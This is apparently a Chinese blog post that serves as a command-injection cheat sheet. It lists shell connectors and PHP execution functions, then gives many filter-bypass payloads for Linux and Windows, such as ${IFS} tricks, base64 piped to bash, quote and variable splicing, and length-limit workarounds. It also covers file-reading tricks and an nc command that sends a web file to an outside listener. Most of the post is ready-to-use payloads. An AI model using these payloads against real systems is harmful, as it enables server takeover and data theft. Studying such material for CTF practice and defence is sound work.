命令执行

定义:

命令执行(Command Injection)指在某些开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当开发未对用户传入的参数进行严格的校验、过滤时,则很有可能会产生命令注入。攻击者使用命令注入来执行系统终端命令,直接获取服务器控制权限

命令连接符

复制代码

A   连接符   B

  • | A为假,直接报错;A为真,直接执行B
  • || A为真,只执行A;A为假,执行B
  • & A为真,AB都执行;A为假,直接执行B
  • && A为假,直接报错;A为真,AB都执行
  • ; 顺序执行,现执行A,后执行B
复制代码

 PHP常见命令执行函数

复制代码
  1. system('cmd')
  2. exec('cmd') exec没有回显,可以使用echo
  3. shell_exec('cmd') 没有回显,可加上echo
  4. passthru('cmd')
  5. popen(string $commandstring $mode) eg <?php popen("touch test.txt","r");?> 在当前文件夹创建test.txt
  6. proc_open(

              mixed $cmd,
              array $descriptorspec,
              array &$pipes)

         cmd:以 string 形式执行的命令行
descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程
pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针

 

    7.(``)反引号  php执行运算符

    8.ob_start () ob_start:打开输出控制缓冲

 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量 中。  想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data

 

复制代码

命令执行绕过

绕过空格

  1. ${IFS}绕过      eg cat${IFS}cmdexec.php
  2. $IFS$9            eg cat$IFS$9cmdexec.php
  3. %09(tab)         eg %09是制表符的url编码,可以代替空格
  4. %20(space)
  5. {}绕过              eg  ?ip=127.0.0.1;{cat,cmdexec.php}
  6. <绕过              eg  ?ip=127.0.0.1;cat<cmdexec.php
  7. <>

命令分隔符

         linux:%0a     %0d     ;     &   &&   |     ||    

         windows:%0a   &   |    %1a(一个神奇的角色,作为.bat 文件中的命令 分隔符)

其它绕过

过滤了关键字还可以用文件包含绕过                   ?c=include%0a$_GET[Q];&Q=php://filter/convert.base64-encode/resource=xx.php  (当;被过滤可以用?>)

linux

  1.  通配符?或者*  或者[0-9]或者[abc]                   比如 /???/fl?g.php           fl[abc]g.php
  2. 转义\                                                                 比如   ca\t f\lag
  3. 命令拼接,使用连接符拼接命令                       比如 a=ca;b=t; $a$b  /etc/passswd 有时候ab可能要调换位置          kg=$'\x20flag.txt'&&cat$kg   %20是空格;  ls & cat /etc/passwd
  4. 注释符                                                               cat /etc/passwd #anything
  5. 编码                                                                  url编码:cat%20%2Fetc%2Fpasswd           base64编码:echo "d2hvYW1p" | base64 -d | bash
  6. 字符拼接                                                           cat /"e"tc/'p'a's'swd
  7. 填充垃圾字符                                                    cat /etc/passwd xxx               666`whoami`666
  8. 分号                                                                  cmd1;cmd2
  9. 反引号(``)和$()                                                 echo "result : `whoami`"                   echo "result : $(whoami)"
  10. <>  < 重定向
  11. 单双引号                                                          c""at 1.tx''t
  12. $1、$@、$*绕过$1、$@、$*绕过                  c$1a$1t 1.t$1$1x$1t
  13. 绕过长度限制                                                   使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。

                                                                                        echo -n "cat " > r;

                                                                                        echo -n "/etc" >> r;

                                                                                        echo "/passwd" >> r;

                                                                                        cat r | bash

        14.\x20                                                                  COMMAND=$'\x20-al';ls$COMMAND

         15.环境变量绕过                                                     打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。

         16.命令换行

              换行执行命令

        zxcv0221@kali:~/桌面$ ca\
      > t\
      >  fl\
      > ag    
     17.nc外带数据
                                本地监听端口 nc -lvp 9999 
                                 命令执行出 ping 127.0.0.0 & nc ip port > key.ph
       18.

 

 

 

windows:

  1.  type                               type.\flag.php    type,flag.php
  2. 特殊符号                         whoami->who^am^i ->who""ami"i"  ->who""""ami
  3. set命令                         set a=whoami
                                         set b=ami
                                         %a%%b%
                                         call %a%%b%

                                                                                      

                                                  set a=whoami
                                                 %a:~0% //取出所有字符,所以正常执行命令
                                                  %a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行

          4.ping绕过                         cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"

  

读文件

cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和 more 类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于 cat -n,显示时输出行号
tailf:类似于 tail -f
sort%20/flag 读文件
dir 来查看当前目录文件
Linux 花式读取文件内容
ps:目标是获取 flag.txt 的内容
static-sh 读取文件:
static-sh ./flag.txt
#输出结果:
./flag.txt: line 1: flag{this_is_a_test}: not found
---------------------------------------------------------------------
--------------
paste 读取文件:
paste ./flag.txt /etc/passwd
#输出结果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
---------------------------------------------------------------------
-------------
diff 读取文件 :
diff ./flag.txt /etc/passwd
#输出结果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
---
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
---------------------------------------------------------------------
--------------
od 读取文件
od -a ./flag.txt
#输出结果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
---------------------------------------------------------------------
--------------
bzmore 读取文件:
bzmore ./flag.txt
#输出结果:
------> ./flag.txt <------
flag{this_is_a_test}
---------------------------------------------------------------------
--------------
bzless 读取文件:
bzless ./flag.txt
echo `bzless ./flag.txt`
#输出结果:
------> ./flag.txt <------ flag{this_is_a_test}
---------------------------------------------------------------------
--------------
curl 读取文件:
curl file:///home/coffee/flag
---------------------------------------------------------------------
--------------
nc 传输文件
靶机:
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机:
nc -l 4444 > key.txt
---------------------------------------------------------------------
-------------
wget
wget url -P path

                                                    

posted @   地主老财  阅读(520)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
点击右上角即可分享
微信分享提示